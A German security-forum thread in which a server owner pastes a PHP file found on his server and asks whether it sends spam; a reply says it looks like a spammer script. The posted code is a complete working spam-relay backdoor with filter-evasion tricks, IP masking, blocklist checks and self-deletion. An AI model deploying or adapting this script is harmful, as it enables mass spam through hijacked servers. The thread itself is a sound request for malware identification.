Zurück   Trojaner-Board > Malware entfernen > Überwachung, Datenschutz und Spam

Überwachung, Datenschutz und Spam: Werden mit dieser PHP-Datei SPAM Mails verschickt?

Windows 7 Fragen zu Verschlüsselung, Spam, Datenschutz & co. sind hier erwünscht. Hier geht es um Abwehr von Keyloggern oder aderen Spionagesoftware wie Spyware und Adware. Themen zum "Trojaner entfernen" oder "Malware Probleme" dürfen hier nur diskutiert werden. Benötigst du Hilfe beim Trojaner entfernen oder weil du dir einen Virus eingefangen hast, erstelle ein Thema in den oberen Bereinigungsforen.

Antwort
Alt 04.06.2019, 16:10   #1
Kaulin
 
Werden mit dieser PHP-Datei SPAM Mails verschickt? - Standard

Werden mit dieser PHP-Datei SPAM Mails verschickt?



Auf meinem Server ist diese PHP Datei aufgetaucht.
Ich gehe davon aus, dass es zur Versendung von SPAM Mails dient - bin mir aber nicht sicher und möchte eine zweite Meinung haben. Vielen Dank!

PHP-Code:
<?php
@error_reporting(0);
@
set_time_limit(150);
@
ignore_user_abort(true);
@
ini_set('max_execution_time',150);

if(isset(
$_GET['remove'])) unlink(__FILE__);

if(
$_SERVER['REQUEST_METHOD']=='GET'){
    exit(
'OK');
}

$randString=rand(1,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);

$compare=$_SERVER['REMOTE_ADDR'];

while(
$key=key($_SERVER)){
    if(
$_SERVER[$key]==$compare){
        @
$_SERVER[$key]=$randString;
    }
    
next($_SERVER);
}

if(isset(
$_POST['ch'])===true){
    
Check(); exit;
}if(isset(
$_POST['sn'])===true){
    
Send(); exit;
}

function 
Send(){
    
$replyto=urldecode($_POST['rpt']);
    if(
strstr($replyto,'|')){
        
$rand=explode('|',$replyto);
        
$replyto=$rand[array_rand($rand)];
    }

    
$replyto=check_gmail($replyto);

    
$emails=urldecode($_POST['em']);

    
$ex=explode("\n",$emails);

    if(!
is_file($_FILES['file']['tmp_name'])){
        for(
$c=0,$max=sizeof($ex);$c<$max;$c++){
            
$data=explode('|',trim($ex[$c]));
            
$r_from=Random(dataHandler($_POST['f']),$data);
            
$r_subject=dataHandler($_POST['s']); $r_message=$_POST['m'];
            
$r_subject=str_ireplace('[from:]',$r_from,$r_subject);
            
$r_subject=str_ireplace('[email:]',$data[0],$r_subject);
            
$r_subject=Random($r_subject,$data);
            
$r_message=str_ireplace('[from:]',$r_from,$r_message);
            
$r_message=str_ireplace('[email:]',$data[0],$r_message);
            
$r_message=Random($r_message,$data);
            
$from_name=randText();

            if(
$replyto==''){
                
$reply=$from_name.'@'.$_SERVER['HTTP_HOST'];
            }else{
                
$reply=$replyto;
            }

            if(!
SMail($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){
                print 
'*send:bad*'; exit;
            }
        }
    }else{
        for(
$c=0,$max=sizeof($ex);$c<$max;$c++){
            
$data=explode('|',trim($ex[$c]));
            
$r_from=Random(dataHandler(urldecode($_POST['f'])),$data);
            
$r_subject=dataHandler(urldecode($_POST['s']));
            
$r_message=urldecode($_POST['m']);
            
$r_subject=str_ireplace('[from:]',$r_from,$r_subject);
            
$r_subject=str_ireplace('[email:]',$data[0],$r_subject);
            
$r_subject=Random($r_subject,$data);
            
$r_message=str_ireplace('[from:]',$r_from,$r_message);
            
$r_message=str_ireplace('[email:]',$data[0],$r_message);
            
$r_message=Random($r_message,$data);
            
$from_name=randText();

            if(
$replyto==''){
                
$reply=$from_name.'@'.$_SERVER['HTTP_HOST'];
            }else{
                
$reply=$replyto;
            }

            if(!
SendAttach($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){
                print 
'*send:bad*'; exit;
            }
        }
    }
    print 
'*send:ok*'; exit;
}

function 
SMail($to,$from,$message,$subject,$replyto,$from_name){
    if(
$_POST['tp']=='1'){ $type='text/html'; }
    else{ 
$type='text/plain'; }
    
$header='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">\r\n";
    
$header.='MIME-Version: 1.0'."\r\n";
    
$header.='Content-Type: '.$type.'; charset="utf-8"'."\r\n";
    
$header.='Reply-To: '.$replyto."\r\n";
    
$header.='X-Mailer: PHP/'.phpversion();

    if(
mail($to,$subject,$message,$header)){
        return 
true;
    }
    return 
false;
}

function 
SendAttach($to,$from,$message,$subject,$replyto,$from_name){
    
$boundary=md5(uniqid()); $fileString=fileString($_FILES['file']['name']);
    if(
$_POST['tp']=='1'){ $type='text/html'; }
    else{ 
$type='text/plain'; }
    
$filename=$_POST['fn'];

    
$headers='MIME-Version: 1.0'."\r\n";
    
$headers.='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."\r\n";
    
$headers.='Reply-To: '.$replyto."\r\n";
    
$headers.='X-Mailer: PHP/'.phpversion()."\r\n";
    
$headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"\r\n\r\n";

    
$body='--'.$boundary."\r\n";
    
$body.='Content-Type: '.$type.'; charset="utf-8"'."\r\n";
    
$body.='Content-Transfer-Encoding: base64'."\r\n\r\n";
    
$body.=chunk_split(base64_encode($message));

    
$body.= '--'.$boundary."\r\n";
    
$body.='Content-Type: '.$_FILES['file']['type'].'; name="'.$filename.'"'."\r\n";
    
$body.='Content-Disposition: attachment; filename="'.$filename.'"'."\r\n";
    
$body.='Content-Transfer-Encoding: base64'."\r\n";
    
$body.='X-Attachment-Id: '.rand(1000,99999)."\r\n\r\n";
    
$body.=chunk_split(base64_encode($fileString));

    if(
mail($to,$subject,$body,$headers)){
        return 
true;
    }
    return 
false;
}

function 
dataHandler($data){
    
$ex=explode("\n",$data);

    if(
sizeof($ex)>1){
        return 
trim($ex[rand(0,sizeof($ex)-1)]);
    }
    return 
trim($data);
}

function 
Random($text,$data){
    
preg_match_all('#\[num:(.+?)\]#is',$text,$result2); $i=0;
    
preg_match_all('#\[randM:(.+?)\]#is',$text,$result3); $q=0;
    
preg_match_all('#\[randstr:(.+?)\]#is',$text,$result4); $w=0;
    
preg_match_all('#\[var:(.+?)\]#is',$text,$result5); $e=0;
    
preg_match_all('#\{rand:(.+?)\}#is',$text,$result6); $f=0;

    while(
$f<sizeof($result6[1])){
        
$rand=explode('|',$result6[1][$f]);
        
$rand=$rand[array_rand($rand)];

        
$text=str_replace_once($result6[0][$f],$rand,$text); $f++;
    }

    while(
$i<sizeof($result2[1])){
        
$rand=explode('|',$result2[1][$i]);
        if(!
is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }
        
$rand=rand($rand[0],$rand[1]);

        
$text=str_replace_once($result2[0][$i],$rand,$text); $i++;
    }

    while(
$q<sizeof($result3[1])){
        
$rand=explode('|',$result3[1][$q]);
        
$rand=$rand[array_rand($rand)];

        
$text=str_replace($result3[0][$q],$rand,$text); $q++;
    }

    while(
$w<sizeof($result4[1])){
        
$rand=explode('|',$result4[1][$w]);
        if(!
is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }
        
$rand=randString($rand[0],$rand[1]);

        
$text=str_replace_once($result4[0][$w],$rand,$text); $w++;
    }

    while(
$e<sizeof($result5[1])){
        if(!
is_numeric($result5[1][$e])){ continue; }

        
$text=str_replace($result5[0][$e],$data[$result5[1][$e]],$text); $e++;
    }

    
preg_match_all('#\[rand:(.+?)\]#is',$text,$result); $c=0;

    while(
$c<sizeof($result[1])){
        
$rand=explode('|',$result[1][$c]);
        
$rand=$rand[array_rand($rand)];

        
$text=str_replace_once($result[0][$c],$rand,$text); $c++;
    }

    return 
$text;
}

function 
Check(){
    
$crlf="\r\n";

    if(isset(
$_POST['st'])===true){
        print 
'*valid:ok*'.$crlf;
    }if(isset(
$_POST['m'])===true){
        if(
function_exists('mail')){
            
$ex=explode(':',$_POST['m']);
            
$email=$ex[0]; $attach=$ex[1]; $reply=$ex[2];
            
$from_name=randText();
            
$replyto=$from_name.'@'.$_SERVER['HTTP_HOST'];
            if(
$reply=='1'){ $replyto=$email; }
            if(
$attach=='1'){
                if(
CheckAttach($email,$replyto,$from_name)){
                    print 
'*mail:ok*'.$crlf;
                }else{
                    print 
'*mail:bad*'.$crlf;
                }
            }else{
                if(
CheckMail($email,$replyto,$from_name)){
                    print 
'*mail:ok*'.$crlf;
                }else{
                    print 
'*mail:bad*'.$crlf;
                }
            }
        }else{
            print 
'*mail:bad*'.$crlf;
        }
    }if(isset(
$_POST['rb'])===true){
        
$rbl=rbl();
        if(
$rbl==''){
            print 
'*rbl:ok*';
        }else{
            print 
'*rbl:'.$rbl.'*';
        }
    }
}

function 
randString($min,$max){
    
$str='qwertyuiopasdfghjklzxcvbnm';
    
$size=rand($min,$max); $result='';

    for(
$c=0;$c<$size;$c++){
        
$result.=$str{rand(0,strlen($str)-1)};
    }
    return 
$result;
}

function 
rbl(){
    
$dnsbl_check=array('b.barracudacentral.org','xbl.spamhaus.org','sbl.spamhaus.org','zen.spamhaus.org','bl.spamcop.net');
    
$ip=gethostbyname($_SERVER['HTTP_HOST']); $result='';

    if(
$ip){
        
$rip=implode('.',array_reverse(explode('.',$ip)));
        foreach(
$dnsbl_check as $val){
            if(
checkdnsrr($rip.'.'.$val.'.','A'))
                
$result.=$val.', ';
        }
        if(
strlen($result)>2){ return substr($result,0,-2); }
        else{ return 
''; }
    }else{
        return 
'*rbl:unknown*';
    }
    return 
'';
}

function 
CheckMail($to,$reply,$from_name){
    
$header='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">\r\n";
    
$header.='MIME-Version: 1.0'."\r\n";
    
$header.='Content-Type: text/html; charset="utf-8"'."\r\n";
    
$header.='Reply-To: '.$reply."\r\n";
    
$header.='X-Mailer: PHP/'.phpversion();

    
$message=text();
    
$subject=$_SERVER['HTTP_HOST'];

    if(
mail($to,$subject,$message,$header)){
        return 
true;
    }
    return 
false;
}

function 
CheckAttach($to,$reply,$from_name){
    
$message=text();
    
$subject=$_SERVER['HTTP_HOST'];
    
$filename=filename('1.txt'); $boundary=md5(uniqid());

    
$headers='MIME-Version: 1.0'."\r\n";
    
$headers.='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."\r\n";
    
$headers.='Reply-To: '.$reply."\r\n";
    
$headers.='X-Mailer: PHP/'.phpversion()."\r\n";
    
$headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"\r\n\r\n";

    
$body='--'.$boundary."\r\n";
    
$body.='Content-Type: text/html; charset="utf-8"'."\r\n";
    
$body.='Content-Transfer-Encoding: base64'."\r\n\r\n";
    
$body.=chunk_split(base64_encode($message));

    
$body.= '--'.$boundary."\r\n";
    
$body.='Content-Type: text/plain; name="'.$filename.'"'."\r\n";
    
$body.='Content-Disposition: attachment; filename="'.$filename.'"'."\r\n";
    
$body.='Content-Transfer-Encoding: base64'."\r\n";
    
$body.='X-Attachment-Id: '.rand(1000,99999)."\r\n\r\n";
    
$body.= chunk_split(base64_encode(text()));

    if(
mail($to,$subject,$body,$headers)){
        return 
true;
    }
    return 
false;
}

function 
str_replace_once($search,$replace,$text){ 
   
$pos=strpos($text$search);
   return 
$pos!==false substr_replace($text,$replace,$pos,strlen($search)) : $text;
}

function 
filename($name){
    
$format=end(explode('.',$name));
    
$array[]='SDC'$array[]='P'$array[]='DC'$array[]='CAM'$array[]='IMG-';
    
$img=array('png','jpg','gif','jpeg','bmp');

    for(
$c=0,$max=sizeof($img);$c<$max;$c++){
        if(
strtolower($format)==$img[$c]){
            
$rand=rand(10,999999);
            return 
$array[rand(0,4)].$rand.'.'.$format;
        }
    }
    return 
randText().'.'.$format;
}

function 
fileString($name){
    
$format=end(explode('.',$name));

    if(
strtolower($format)=='jpeg' or strtolower($format)=='jpg'){
        if(
CheckRandIMG()){
            return 
RandIMG($_FILES['file']['tmp_name']);
        }
    }
    return 
file_get_contents($_FILES['file']['tmp_name']);
}

function 
randText(){
    
$str='qwertyuiopasdfghjklzxcvbnm';
    
$size=rand(3,8); $result='';

    for(
$c=0;$c<$size;$c++){
        
$result.=$str{rand(0,strlen($str)-1)};
    }
    return 
$result;
}

function 
text(){
    
$str='qwertyuiopasdfghjklzxcvbnm';
    
$size=rand(9,20); $result='';

    for(
$c=0;$c<$size;$c++){
        
$rand=rand(6,10);
        
        for(
$i=0;$i<$rand;$i++){
            
$result.=$str{rand(0,strlen($str)-1)};
        }
        
$sign=array(' ',' ',' ',' ',', ','? ','. ','. ');
        
$result.=$sign[rand(0,7)];
    }
    return 
trim($result);
}

function 
CheckRandIMG(){
    
$array=array(
        
'getimagesize',
        
'imagecreatetruecolor',
        
'imagecreatefromjpeg',
        
'imagecopyresampled',
        
'imagefilter',
        
'ob_start',
        
'imagejpeg',
        
'ob_get_clean'
    
);

    for(
$c=0,$max=sizeof($array);$c<$max;$c++){
        if(!
function_exists($array[$c])){
            return 
false;
        }
    }
    return 
true;
}

function 
RandIMG($file){
    
$rand['width']=rand(1,2);
    
$rand['height']=rand(1,2);
    
$rand['quality']=rand(1,2);
    
$rand['brightness']=rand(1,2);
    
$rand['contrast']=rand(1,2);

    list(
$width,$height)=getimagesize($file);

    if(
$rand['width']==1){
        
$sign=rand(1,2);
        if(
$sign==1){
            
$new_width=$width+rand(1,10);
        }else{
            
$new_width=$width-rand(1,10);
        }
    }else{
        
$new_width=$width;
    }if(
$rand['height']==1){
        
$sign=rand(1,2);
        if(
$sign==1){
            
$new_height=$height+rand(1,10);
        }else{
            
$new_height=$height-rand(1,10);
        }
    }else{
        
$new_height=$height;
    }if(
$rand['quality']==1){
        
$quality=75;
    }else{
        
$quality=rand(65,105);
    }if(
$rand['brightness']==1){
        
$brightness=rand(0,35);
    }else{
        
$brightness=0;
    }if(
$rand['contrast']==1){
        
$sign=rand(1,2);
        if(
$sign==1){ $sign='+'; }else{ $sign='-'; }
        
$contrast=rand(1,15);
    }else{
        
$sign='';
        
$contrast=0;
    }

    
$image_p=imagecreatetruecolor($new_width,$new_height);
    
$image=imagecreatefromjpeg($file);
    
imagecopyresampled($image_p$image,0,0,0,0,$new_width,$new_height,$width,$height);
    
imagefilter($image_p,IMG_FILTER_CONTRAST,$sign.$contrast);
    
imagefilter($image_p,IMG_FILTER_BRIGHTNESS,$brightness);
    
ob_start();
    
imagejpeg($image_p,null,$quality);
    
$out=ob_get_clean();
    
imagedestroy($image_p);

    return 
$out;
}

function 
check_gmail($email){
    if(
strstr($email,'@gmail.')){
        return 
RandGmail($email);
    }else{
        return 
$email;
    }
}

function 
RandGmail($email){
    
$login=explode('@',$email); $result='';
    
$login=strtolower(str_replace('.','',$login[0]));

    
$size=strlen($login);

    for(
$c=0,$max=$size;$c<$max;$c++){
        
$up=rand(0,1); $dot=rand(0,1);

        
$symbol=$login{$c};

        if(
$up==1){
            
$symbol=strtoupper($symbol);
        }if(
$dot==1){
            
$symbol=$symbol.'.';
        }
        
$result.=$symbol;
    }

    if(
substr($result,-1)=='.'){
        
$result=substr($result,0,-1);
    }

    return 
$result.'@gmail.com';
}

?>

Alt 10.06.2019, 17:57   #2
cosinus
/// Winkelfunktion
/// TB-Süch-Tiger™
 
Werden mit dieser PHP-Datei SPAM Mails verschickt? - Standard

Werden mit dieser PHP-Datei SPAM Mails verschickt?



Was das Teil im Detail macht kann ich auch nicht sagen, dafür bin ich zu wenig in PHP drin und es ist ja auch nichts kommentiert/dokumentiert, aber das sieht schon nach einem Spammer-Script aus-

Lag das von dir gepostete PHP-Script so vor? Oder codiert/verschleiert in dieser Form?

Was genau ist "dein Server"?
__________________

__________________

Alt 11.06.2019, 18:26   #3
Kaulin
 
Werden mit dieser PHP-Datei SPAM Mails verschickt? - Standard

Werden mit dieser PHP-Datei SPAM Mails verschickt?



Das Script lag in genau dieser Form als Datei auf dem Server. Den V-Server hatte ich mir geholt, weil ich mehr in die Richtung Webentwicklung gehen wollte, habe aber noch nichts fertig.

Aber vielen Dank für dein Feedback!
__________________

Antwort

Themen zu Werden mit dieser PHP-Datei SPAM Mails verschickt?
clean, data, datei, emails, error, file, files, format, ignore, jpg, link, login, mails, message, min, random, remote, reply, search, server, spam, spammail, start, symbol, tmp, verschickt




Ähnliche Themen: Werden mit dieser PHP-Datei SPAM Mails verschickt?


  1. Spam Mails werden von meinem gelöschten Account verschickt..
    Überwachung, Datenschutz und Spam - 18.03.2017 (5)
  2. Es werden Spam Mails von meinem e-mail account verschickt
    Plagegeister aller Art und deren Bekämpfung - 30.01.2016 (24)
  3. Von Strato E-Mail-Account werden ungewollt Spam-Mails verschickt
    Plagegeister aller Art und deren Bekämpfung - 01.10.2015 (28)
  4. Spam Mails werden von meinem Mailacount verschickt
    Plagegeister aller Art und deren Bekämpfung - 18.09.2015 (15)
  5. E-Mail: Spam-Mails werden von meiner @web.de Adresse aus verschickt
    Plagegeister aller Art und deren Bekämpfung - 21.08.2015 (4)
  6. Windows 7, von meinem Yahoo Account werden scheinbar Spam-Mails verschickt
    Plagegeister aller Art und deren Bekämpfung - 13.11.2014 (11)
  7. Nachricht der Telekom, dass von meinem Anschluss Spam-mails verschickt werden
    Plagegeister aller Art und deren Bekämpfung - 06.10.2014 (17)
  8. Mailzugang gesperrt, weil Viren/Spam Mails verschickt werden
    Plagegeister aller Art und deren Bekämpfung - 04.06.2014 (30)
  9. Spam Mails werden von yahoo account verschickt - auch nach Passwortänderung
    Plagegeister aller Art und deren Bekämpfung - 05.04.2014 (14)
  10. gmx konto verschickt spam mails
    Plagegeister aller Art und deren Bekämpfung - 20.02.2013 (39)
  11. Spam E-Mails werden automatisch über GMX-Account verschickt
    Plagegeister aller Art und deren Bekämpfung - 19.06.2012 (1)
  12. Über meinen GMX Account werden Spam E-Mails verschickt
    Plagegeister aller Art und deren Bekämpfung - 08.05.2012 (1)
  13. von meinem WEB.DE Account werden Spam-Mails verschickt
    Plagegeister aller Art und deren Bekämpfung - 16.02.2012 (23)
  14. Trojaner verschickt Spam-Mails v2
    Log-Analyse und Auswertung - 14.12.2011 (31)
  15. Yahoo verschickt Spam-Mails
    Log-Analyse und Auswertung - 01.10.2011 (1)
  16. Spam Mails werden automatisch vom Yahoo Account verschickt
    Log-Analyse und Auswertung - 28.08.2011 (2)
  17. Von meiner KUndenNr. bzw IP Adresse werden Spam Mails verschickt
    Plagegeister aller Art und deren Bekämpfung - 28.08.2007 (10)

Zum Thema Werden mit dieser PHP-Datei SPAM Mails verschickt? - Auf meinem Server ist diese PHP Datei aufgetaucht. Ich gehe davon aus, dass es zur Versendung von SPAM Mails dient - bin mir aber nicht sicher und möchte eine zweite - Werden mit dieser PHP-Datei SPAM Mails verschickt?...
Archiv
Du betrachtest: Werden mit dieser PHP-Datei SPAM Mails verschickt? auf Trojaner-Board

Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.